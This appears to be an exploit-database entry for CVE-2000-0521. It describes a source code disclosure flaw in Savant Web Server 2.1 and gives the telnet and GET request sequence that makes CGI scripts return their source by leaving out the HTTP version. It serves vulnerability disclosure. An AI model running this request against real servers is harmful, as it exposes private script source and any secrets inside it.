Michael Lamont Savant Web Server 2.1 - CGI Source Code Disclosure

Author: Drew
type: remote
platform: cgi
port: 
date_added: 2000-06-05 
date_updated: 2012-07-21 
verified: 1 
codes: CVE-2000-0521;OSVDB-517 
tags: 
aliases:  
screenshot_url:  
application_url: 

source: https://www.securityfocus.com/bid/1313/info

Omitting the HTTP version from a "GET" request for a CGI script to the Savant Web Server discloses the source code of the script.

telnet target 80

GET /cgi-bin/script.xyz HTTP/1.0
<proper script execution/output>

GET /cgi-bin/script.xyz
<source code displayed>